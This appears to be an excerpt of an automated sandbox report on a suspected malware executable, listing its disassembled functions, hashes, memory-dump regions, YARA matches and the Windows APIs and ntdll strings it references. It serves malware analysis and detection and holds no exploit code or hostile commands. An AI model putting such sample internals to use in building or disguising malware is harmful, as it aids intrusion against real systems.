Opcode Fuzzy Hash: 693d96c3b03cd6290f17dda1da02ebb2d758ce5f44f13b8d56b4bd2627b24d9a
Instruction Fuzzy Hash: BF1117B1E116198BDB48CFAAD9416EEFBF7BBC8310F14C07AD508AB254DB305A058F51

Uniqueness

Uniqueness Score: -1.00%

Function 07560A30 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1796208361.0000000007560000.00000040.00000800.00020000.00000000.sdmp, Offset: 07560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7560000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c201f11e474a8f4d02073ab7fc2b0e0b163d2c7f0ba9f81424880453221ef36b
Instruction ID: 845dfed341537b77f0d4666b10d82eb01ac99318c27d2a8eb8022f869adfb33a
Opcode Fuzzy Hash: c201f11e474a8f4d02073ab7fc2b0e0b163d2c7f0ba9f81424880453221ef36b
Instruction Fuzzy Hash: A8216AB0E016089BEB58CF6AD841ADEBBF7BFC9300F14C07AD408AB265DB704A45CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0964EB38 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1798171356.0000000009640000.00000040.00000800.00020000.00000000.sdmp, Offset: 09640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9640000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9eb7edaa31dfbf35867dc96d8b8f8c426529f6e1b54484e160c576f9eb5ddf33
Instruction ID: 75690d214f4ae41576ee00b8932ebeebec78ec529d43bcc87557ad027d8f92e0
Opcode Fuzzy Hash: 9eb7edaa31dfbf35867dc96d8b8f8c426529f6e1b54484e160c576f9eb5ddf33
Instruction Fuzzy Hash: C3F042B5D0520C9F8F04DFA9D5418EEFBF2BB59310F10A16AE815B3310E73599518FA8

Uniqueness

Uniqueness Score: -1.00%

Function 08F35970 Relevance: 6.4, Strings: 5, Instructions: 139COMMON

Download Yara Rule

Strings

B, xrefs: 08F35996
B, xrefs: 08F35A43
Hbq, xrefs: 08F35A8D
@, xrefs: 08F35A3E
@, xrefs: 08F35991

Memory Dump Source

Source File: 00000000.00000002.1796536132.0000000008F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f30000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: @$@$B$B$Hbq
API String ID: 0-1093311442
Opcode ID: e401c888314d2b3128aef0c8160c22c80e4fea36ea86140983223b00bd8461f8
Instruction ID: fbfc85eef3eff4a04ea35f9aacfdf67bb36e1794ee63fd4d4243cc7650fcfec4
Opcode Fuzzy Hash: e401c888314d2b3128aef0c8160c22c80e4fea36ea86140983223b00bd8461f8
Instruction Fuzzy Hash: C641BF71B0021A8FCB14CB7DC88456EBBF6EFCD221725416AD019CB3A1EB309D52C791

Uniqueness

Uniqueness Score: -1.00%

Function 08F38948 Relevance: 5.3, Strings: 4, Instructions: 273COMMON

Download Yara Rule

Strings

$^q, xrefs: 08F38A22
$^q, xrefs: 08F389CC
$^q, xrefs: 08F38A2E
Hbq, xrefs: 08F38BFB

Memory Dump Source

Source File: 00000000.00000002.1796536132.0000000008F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f30000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: Hbq$$^q$$^q$$^q
API String ID: 0-314989797
Opcode ID: 42b6d50bf4962546608effcf79a799d683a9bd4ea108e56452a3985f7033d4fc
Instruction ID: 834c30e668523a0b3910bbe9d26444969c35fde6d0f264292344af272c5d7636
Opcode Fuzzy Hash: 42b6d50bf4962546608effcf79a799d683a9bd4ea108e56452a3985f7033d4fc
Instruction Fuzzy Hash: 26A19EB0A20225DFCF25DF34C844BAE77B2AF89352F14857EE8019B291DB78D842CB51

Uniqueness

Uniqueness Score: -1.00%

Function 08F35960 Relevance: 5.1, Strings: 4, Instructions: 81COMMON

Download Yara Rule

Strings

B, xrefs: 08F35996
B, xrefs: 08F35A43
@, xrefs: 08F35A3E
@, xrefs: 08F35991

Memory Dump Source

Source File: 00000000.00000002.1796536132.0000000008F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f30000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: @$@$B$B
API String ID: 0-685577651
Opcode ID: c9b5d93ded72602ae7915eb608a6920468ec7c53a5a077247cdf8860cc122101
Instruction ID: a9f7516a9aff4a84eb61c2b6efc772643fdf927a198d2c864acbde889f2dba19
Opcode Fuzzy Hash: c9b5d93ded72602ae7915eb608a6920468ec7c53a5a077247cdf8860cc122101
Instruction Fuzzy Hash: 26217AB1B002668FCB24CF79C8C486EBBF5AFCD221729416AE046DB261D730D845CB91

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: UQO06iOMKZMPZ4A.exePID: 7784, Parent PID: 7616COMMON

Execution Graph

Execution Coverage:	1.2%
Dynamic/Decrypted Code Coverage:	5.2%
Signature Coverage:	8.9%
Total number of Nodes:	135
Total number of Limit Nodes:	11

Executed Functions

Function 004172A3 Relevance: 1.5, APIs: 1, Instructions: 48
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00417315

Memory Dump Source

Source File: 00000002.00000002.2062443997.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UQO06iOMKZMPZ4A.jbxd

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 7990f290981bd4aee8d21bcb8d2ae64449c1592f8a81b01ec6cffc28f3e0e825
Instruction ID: 7dea610229c09dec59a7f5d296cd38013017885f7c80cd9f84eccd0a454483fe
Opcode Fuzzy Hash: 7990f290981bd4aee8d21bcb8d2ae64449c1592f8a81b01ec6cffc28f3e0e825
Instruction Fuzzy Hash: 0A015EB1E0420DABDF10DAE1DC42FDEB3B89B54304F0081AAED0897240F634EB558B95

Uniqueness

Uniqueness Score: -1.00%

Function 0042AE33 Relevance: 1.5, APIs: 1, Instructions: 25
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtClose.NTDLL(?), ref: 0042AE67

Memory Dump Source

Source File: 00000002.00000002.2062443997.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UQO06iOMKZMPZ4A.jbxd

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 13f67380842c8342aca8c795ea337f9e11d93bcc0dcf5498b043424ac05aa072
Instruction ID: 266e76eb1ce6b4287eeca9a3e48ceedbf4897324c96dbacdbc2d2e0568bd0a78
Opcode Fuzzy Hash: 13f67380842c8342aca8c795ea337f9e11d93bcc0dcf5498b043424ac05aa072
Instruction Fuzzy Hash: AEE04F762502147BC520EA5ADC41F9B775CEFC5724F004429FA08AB142C675B91086E5

Uniqueness

Uniqueness Score: -1.00%

Function 01A62B60 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 01A62B6A

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 2203b6908b9da6eefdc7ce6974b11e72cbfbc3dfe703b8a13c18db06be9286d3
Instruction ID: 308af63da6760eb938481739ea680b6ebbfe21e75b8df1caaf71485f24b113b1
Opcode Fuzzy Hash: 2203b6908b9da6eefdc7ce6974b11e72cbfbc3dfe703b8a13c18db06be9286d3
Instruction Fuzzy Hash: 8D90026220240003410571584818616400A97E0201F56C031E1014590DC5298A916225

Uniqueness

Uniqueness Score: -1.00%

Function 01A62DF0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01A62DFA

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 841f132a322326b59bbe9214f326d51dc44ce5bc3b37b83065bc5816315fa3cd
Instruction ID: 1a53b3e272695cc61e062f56cb9bd6d32fc63fada11366a3130d7a270e19e8c7
Opcode Fuzzy Hash: 841f132a322326b59bbe9214f326d51dc44ce5bc3b37b83065bc5816315fa3cd
Instruction Fuzzy Hash: 4190023220140413D11171584908707000997D0241F96C422A0424558DD65A8B52A221

Uniqueness

Uniqueness Score: -1.00%

Function 01A62C70 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 01A62C7A

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 6d8cc5a502e2c7d2bf89aee0b22ce635539be777093980ff2e96d211c2dc3676
Instruction ID: c7260dc54f373db9a63f0ea7e965003c818b05b16616c4b2410db7d8539a3343
Opcode Fuzzy Hash: 6d8cc5a502e2c7d2bf89aee0b22ce635539be777093980ff2e96d211c2dc3676
Instruction Fuzzy Hash: 6690023220148802D1107158880874A000597D0301F5AC421A4424658DC6998A917221

Uniqueness

Uniqueness Score: -1.00%

Function 01A635C0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01A635CA

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 6fe418cfdf33761cf1501854c171bab67c6620efbf49f309a8115c8405fc6e41
Instruction ID: afc9b92bddee4b0ebb18aa3f7555aa8161da7033e770f2e5e6a63b328754f0e3
Opcode Fuzzy Hash: 6fe418cfdf33761cf1501854c171bab67c6620efbf49f309a8115c8405fc6e41
Instruction Fuzzy Hash: F390023260550402D10071584918706100597D0201F66C421A0424568DC7998B5166A2

Uniqueness

Uniqueness Score: -1.00%

Function 00413795 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 141
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostThreadMessageW.USER32(17-EIW25,00000111,00000000,00000000), ref: 0041391A

Strings

17-EIW25, xrefs: 0041390F, 00413919, 0041392A
17-EIW25, xrefs: 00413921, 00413924

Memory Dump Source

Source File: 00000002.00000002.2062443997.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UQO06iOMKZMPZ4A.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID: 17-EIW25$17-EIW25
API String ID: 1836367815-2719944465
Opcode ID: be1f994ed6c99c972fad824dc35e7a3f15dc463ae55da23240cd5731c807a163
Instruction ID: ffba5596e495c3f857ee840d662ec1fbaa42b982dc4fa13bfba4c4dceea3032f
Opcode Fuzzy Hash: be1f994ed6c99c972fad824dc35e7a3f15dc463ae55da23240cd5731c807a163
Instruction Fuzzy Hash: 6E41BDB5841648AFD711DF78DC419DF7F78EF46320B20419BE9449B352E2784A4A8B98

Uniqueness

Uniqueness Score: -1.00%

Function 004137EC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 87
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostThreadMessageW.USER32(17-EIW25,00000111,00000000,00000000), ref: 0041391A

Strings

17-EIW25, xrefs: 0041390F, 00413919, 0041392A
17-EIW25, xrefs: 00413921, 00413924

Memory Dump Source

Source File: 00000002.00000002.2062443997.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UQO06iOMKZMPZ4A.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID: 17-EIW25$17-EIW25
API String ID: 1836367815-2719944465
Opcode ID: 3a3d2b51d59eac512b4f742f2bd618625eba93e8d5b7166fafc05a6e441027c1
Instruction ID: 57a45611182cbf0026742631e4eea391034da9605ad50cbcd17e945b8f43ec10
Opcode Fuzzy Hash: 3a3d2b51d59eac512b4f742f2bd618625eba93e8d5b7166fafc05a6e441027c1
Instruction Fuzzy Hash: BE21F4F55456587BDB11DB689C418EF7F7CEE46360B10016EF58097243F3788E428794

Uniqueness

Uniqueness Score: -1.00%

Function 00413874 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 76
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostThreadMessageW.USER32(17-EIW25,00000111,00000000,00000000), ref: 0041391A

Strings

17-EIW25, xrefs: 0041390F, 00413919, 0041392A
17-EIW25, xrefs: 00413921, 00413924

Memory Dump Source

Source File: 00000002.00000002.2062443997.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UQO06iOMKZMPZ4A.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID: 17-EIW25$17-EIW25
API String ID: 1836367815-2719944465
Opcode ID: b37bcd7a92813101625c4b0504d5996a1663f54eab7f97f37f4acd3d7c4e356d
Instruction ID: c7cb0194db142b7407d3eb1e732f3143de1ef687968b6885db9a0f27721f231b
Opcode Fuzzy Hash: b37bcd7a92813101625c4b0504d5996a1663f54eab7f97f37f4acd3d7c4e356d
Instruction Fuzzy Hash: 5B116DB2E0065C7EEB21DA959C82DFF7B6CDF81668F0040AAF904A7101D1681F068790

Uniqueness

Uniqueness Score: -1.00%

Function 004138A3 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostThreadMessageW.USER32(17-EIW25,00000111,00000000,00000000), ref: 0041391A

Strings

17-EIW25, xrefs: 0041390F, 00413919, 0041392A
17-EIW25, xrefs: 00413921, 00413924

Memory Dump Source

Source File: 00000002.00000002.2062443997.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UQO06iOMKZMPZ4A.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID: 17-EIW25$17-EIW25
API String ID: 1836367815-2719944465
Opcode ID: c4f59dd0bda20c5994f867dcbd5f55150a8da80a0dfcc07544d2c09b1f5b934d
Instruction ID: 33cbb417e18b030019f681c3068752b02065b9754aeddb97930e15cabbd49093
Opcode Fuzzy Hash: c4f59dd0bda20c5994f867dcbd5f55150a8da80a0dfcc07544d2c09b1f5b934d
Instruction Fuzzy Hash: C501C4B5D4011C7EEB10ABE59C82DEF7B7CDF40698F00806AFA14A7141D5785F068BA5

Uniqueness

Uniqueness Score: -1.00%

Function 0041731F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 38
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00417315

Strings

SVW, xrefs: 00417329

Memory Dump Source

Source File: 00000002.00000002.2062443997.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UQO06iOMKZMPZ4A.jbxd

Yara matches

Similarity

API ID: Load
String ID: SVW
API String ID: 2234796835-2287302526
Opcode ID: 40538c344131345b8efc4df9dc858fb5cb636a5732cb6c87dde8014c343e8cfb
Instruction ID: 1c895c066506b0b792bee99c05404905a8bce3984b92a87e2030a1e614b8b1af
Opcode Fuzzy Hash: 40538c344131345b8efc4df9dc858fb5cb636a5732cb6c87dde8014c343e8cfb
Instruction Fuzzy Hash: 59F054B5E04109BBDB10E6A5DC81EAFBB7C9B90704F1082AAF81896240E635EF568795

Uniqueness

Uniqueness Score: -1.00%

Function 0042B193 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 29
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(00000000,00000004,00000000,?,00000007,00000000,00000004,00000000,?,000000F4,?,?,?,?,?), ref: 0042B1D2

Strings

Q`A, xrefs: 0042B196

Memory Dump Source

Source File: 00000002.00000002.2062443997.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UQO06iOMKZMPZ4A.jbxd

Yara matches

Similarity

API ID: FreeHeap
String ID: Q`A
API String ID: 3298025750-4128868148
Opcode ID: 6293b27066e331ff852544905ad868599f5176f767a03a122873d48fca37afb6
Instruction ID: 08edc0565f86f73f700f44f4159a19bc40c2d1bb3373d043e7025405b5dc65f4
Opcode Fuzzy Hash: 6293b27066e331ff852544905ad868599f5176f767a03a122873d48fca37afb6
Instruction Fuzzy Hash: A7E039B12002047BDA10EA59EC41E9B77ACEFC5714F004419FA08A7242D670B91086B9

Uniqueness

Uniqueness Score: -1.00%

Function 00417359 Relevance: 1.5, APIs: 1, Instructions: 32
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00417315

Memory Dump Source

Source File: 00000002.00000002.2062443997.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UQO06iOMKZMPZ4A.jbxd

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 3a83ce97fc718c9532b25e989f220e0430bcf6426bb5c97ae4f83d0116f944d2
Instruction ID: 15d804ecb7e4a9a5e963ec322c30842ec9bf7221adbc6d8c61b8a9cc4564a9fb
Opcode Fuzzy Hash: 3a83ce97fc718c9532b25e989f220e0430bcf6426bb5c97ae4f83d0116f944d2
Instruction Fuzzy Hash: E5F0273574900D9FDB44CF90C892F9DF7B8AB15244F0081DAEC08CB192E630E64AC745

Uniqueness

Uniqueness Score: -1.00%

Function 0042B143 Relevance: 1.5, APIs: 1, Instructions: 29
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(?,0041DADB,?,?,00000000,?,0041DADB,?,?,?), ref: 0042B17F

Memory Dump Source

Source File: 00000002.00000002.2062443997.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UQO06iOMKZMPZ4A.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 51dad04c718ccf0de6597d5ed1fab91676444251115b4773d60bbb8b73750df1
Instruction ID: a4bfad58667377e47d12966bab6db9e6ef445ee9e3cd574647e002bdb65242c4
Opcode Fuzzy Hash: 51dad04c718ccf0de6597d5ed1fab91676444251115b4773d60bbb8b73750df1
Instruction Fuzzy Hash: FEE06DB12002047BDA14EE59EC41F9B77ACEFC5720F004419FA08A7282C675B910C6B9

Uniqueness

Uniqueness Score: -1.00%

Function 0042B1E3 Relevance: 1.5, APIs: 1, Instructions: 25
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,00000000,?,?,7CCA7163,?,?,7CCA7163), ref: 0042B217

Memory Dump Source

Source File: 00000002.00000002.2062443997.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UQO06iOMKZMPZ4A.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 6c0cbb3c8a4687fccc256c0f507e56e20b73420168ebefdc7aa494b656fe7a12
Instruction ID: ad6667b2de0a327079064c54da9195a554e48c4e487e64c6db670143c5d1e96c
Opcode Fuzzy Hash: 6c0cbb3c8a4687fccc256c0f507e56e20b73420168ebefdc7aa494b656fe7a12
Instruction Fuzzy Hash: E7E04F762042147BC220EA6ADC01F9B775CDBC5714F41841AFB0C67282C675B91187E4

Uniqueness

Uniqueness Score: -1.00%

Function 01A62C0A Relevance: 1.5, APIs: 1, Instructions: 8
libraryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 01A62C24

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 1e5c59894947832135b49f97134c8214900353249d0aa2836a1bb33eb156851c
Instruction ID: 122ba8a86ad15f54dd4b679069394b89a1efddc2570b4ab9faecff3533b4eb5a
Opcode Fuzzy Hash: 1e5c59894947832135b49f97134c8214900353249d0aa2836a1bb33eb156851c
Instruction Fuzzy Hash: 5AB09B729015C5C9DB11F7644A0C717790477D0701F16C072D2030641F473CC5D1E275

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 01AA2349 Relevance: 26.1, Strings: 20, Instructions: 1117COMMON

Download Yara Rule

Strings

FrontEndHeapDebugOptions, xrefs: 01AA2489
RaiseExceptionOnPossibleDeadlock, xrefs: 01AA2579
TracingFlags, xrefs: 01AA2549
@, xrefs: 01AA2942
MinimumStackCommitInBytes, xrefs: 01AA2BB0
DisableExceptionChainValidation, xrefs: 01AA275F
ExecuteOptions, xrefs: 01AA25A0
DisableHeapLookaside, xrefs: 01AA246D
GlobalFlag2, xrefs: 01AA2FC0
Initializing the application verifier package failed with status 0x%08lx, xrefs: 01AA3176
LdrpInitializeExecutionOptions, xrefs: 01AA317D
GlobalFlag, xrefs: 01AA2F3F, 01AA3059
UseImpersonatedDeviceMap, xrefs: 01AA251C
MaxLoaderThreads, xrefs: 01AA24EC
minkernel\ntdll\ldrinit.c, xrefs: 01AA3187
ShutdownFlags, xrefs: 01AA24A1
@, xrefs: 01AA2B74
MaxDeadActivationContexts, xrefs: 01AA2D82
CFGOptions, xrefs: 01AA2967
UnloadEventTraceDepth, xrefs: 01AA24C0

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: @$@$CFGOptions$DisableExceptionChainValidation$DisableHeapLookaside$ExecuteOptions$FrontEndHeapDebugOptions$GlobalFlag$GlobalFlag2$Initializing the application verifier package failed with status 0x%08lx$LdrpInitializeExecutionOptions$MaxDeadActivationContexts$MaxLoaderThreads$MinimumStackCommitInBytes$RaiseExceptionOnPossibleDeadlock$ShutdownFlags$TracingFlags$UnloadEventTraceDepth$UseImpersonatedDeviceMap$minkernel\ntdll\ldrinit.c
API String ID: 0-2160512332
Opcode ID: e4daeae836a0d5ff3727bf01ccfb465a9658506a2a9800178a0ad8dfb3e604b4
Instruction ID: eef612de3865cf64e2416d01b4b1aa4c84649ddf3c38e885f540ac7b52830789
Opcode Fuzzy Hash: e4daeae836a0d5ff3727bf01ccfb465a9658506a2a9800178a0ad8dfb3e604b4
Instruction Fuzzy Hash: F1928F71608342AFE721CF28C840B6BBBE8BF84754F84492EFA95D7251D770E854CB92

Uniqueness

Uniqueness Score: -1.00%

Function 01A58620 Relevance: 17.7, Strings: 14, Instructions: 223COMMON

Download Yara Rule

Strings

Thread is in a state in which it cannot own a critical section, xrefs: 01A95543
First initialization stack trace. Use dps to dump it if non-NULL., xrefs: 01A954E2
undeleted critical section in freed memory, xrefs: 01A9542B
Critical section debug info address, xrefs: 01A9541F, 01A9552E
double initialized or corrupted critical section, xrefs: 01A95508
8, xrefs: 01A952E3
Initialization stack trace. Use dps to dump it if non-NULL., xrefs: 01A9540A, 01A95496, 01A95519
Second initialization stack trace. Use dps to dump it if non-NULL., xrefs: 01A954CE
corrupted critical section, xrefs: 01A954C2
Critical section address., xrefs: 01A95502
Critical section address, xrefs: 01A95425, 01A954BC, 01A95534
Thread identifier, xrefs: 01A9553A
Address of the debug info found in the active list., xrefs: 01A954AE, 01A954FA
Invalid debug info address of this critical section, xrefs: 01A954B6

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: 8$Address of the debug info found in the active list.$Critical section address$Critical section address.$Critical section debug info address$First initialization stack trace. Use dps to dump it if non-NULL.$Initialization stack trace. Use dps to dump it if non-NULL.$Invalid debug info address of this critical section$Second initialization stack trace. Use dps to dump it if non-NULL.$Thread identifier$Thread is in a state in which it cannot own a critical section$corrupted critical section$double initialized or corrupted critical section$undeleted critical section in freed memory
API String ID: 0-2368682639
Opcode ID: f594a4ecc386dfe4abe1c94833dfcbe9bbd5934c124d0ff8f42e668dddb5cb5c
Instruction ID: 892ab09cac94990dc2139e6a7552862457fd5f4f6c1519e1079e527c6077efa4
Opcode Fuzzy Hash: f594a4ecc386dfe4abe1c94833dfcbe9bbd5934c124d0ff8f42e668dddb5cb5c
Instruction Fuzzy Hash: 50819AB0E40358BFDF22CF9AC941BAEBBF5BB48714F14401AE508B7691D375A984CB64

Uniqueness

Uniqueness Score: -1.00%

Function 01A529F9 Relevance: 14.2, Strings: 11, Instructions: 411COMMON

Download Yara Rule

Strings

SXS: Assembly directory name stored in assembly information too long (%lu bytes) - ACTIVATION_CONTEXT_DATA at %p, xrefs: 01A922E4
SXS: Storage resolution failed to insert entry to storage map; Status = 0x%08lx, xrefs: 01A92602
SXS: Attempt to probe known root of assembly storage ("%wZ") failed; Status = 0x%08lx, xrefs: 01A92409
SXS: Unable to resolve storage root for assembly directory %wZ in %Iu tries, xrefs: 01A924C0
RtlpResolveAssemblyStorageMapEntry, xrefs: 01A9261F
SXS: Attempt to translate DOS path name "%S" to NT format failed, xrefs: 01A92506
SXS: Attempt to probe assembly storage root %wZ for assembly directory %wZ failed with status = 0x%08lx, xrefs: 01A92498
SXS: Attempt to insert well known storage root into assembly storage map assembly roster index %lu failed; Status = 0x%08lx, xrefs: 01A92412
SXS: %s() bad parametersSXS: Map : %pSXS: Data : %pSXS: AssemblyRosterIndex: 0x%lxSXS: Map->AssemblyCount : 0x%lx, xrefs: 01A92624
@, xrefs: 01A9259B
SXS: Unable to open assembly directory under storage root "%S"; Status = 0x%08lx, xrefs: 01A925EB

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: @$RtlpResolveAssemblyStorageMapEntry$SXS: %s() bad parametersSXS: Map : %pSXS: Data : %pSXS: AssemblyRosterIndex: 0x%lxSXS: Map->AssemblyCount : 0x%lx$SXS: Assembly directory name stored in assembly information too long (%lu bytes) - ACTIVATION_CONTEXT_DATA at %p$SXS: Attempt to insert well known storage root into assembly storage map assembly roster index %lu failed; Status = 0x%08lx$SXS: Attempt to probe assembly storage root %wZ for assembly directory %wZ failed with status = 0x%08lx$SXS: Attempt to probe known root of assembly storage ("%wZ") failed; Status = 0x%08lx$SXS: Attempt to translate DOS path name "%S" to NT format failed$SXS: Storage resolution failed to insert entry to storage map; Status = 0x%08lx$SXS: Unable to open assembly directory under storage root "%S"; Status = 0x%08lx$SXS: Unable to resolve storage root for assembly directory %wZ in %Iu tries
API String ID: 0-4009184096
Opcode ID: 216373e3398c15a88407414b70515933b0ab66ee612d4a3655fa6cb04ef9559c
Instruction ID: b0099dfd4a31d61980257bbdace5eb0a89f52ef4497838004d1a4448d53369b5
Opcode Fuzzy Hash: 216373e3398c15a88407414b70515933b0ab66ee612d4a3655fa6cb04ef9559c
Instruction Fuzzy Hash: 3A0282F1D04229ABDF61DB54CD80BEAB7B8AB54304F4441DAAA09A7242D730AEC4CF59

Uniqueness

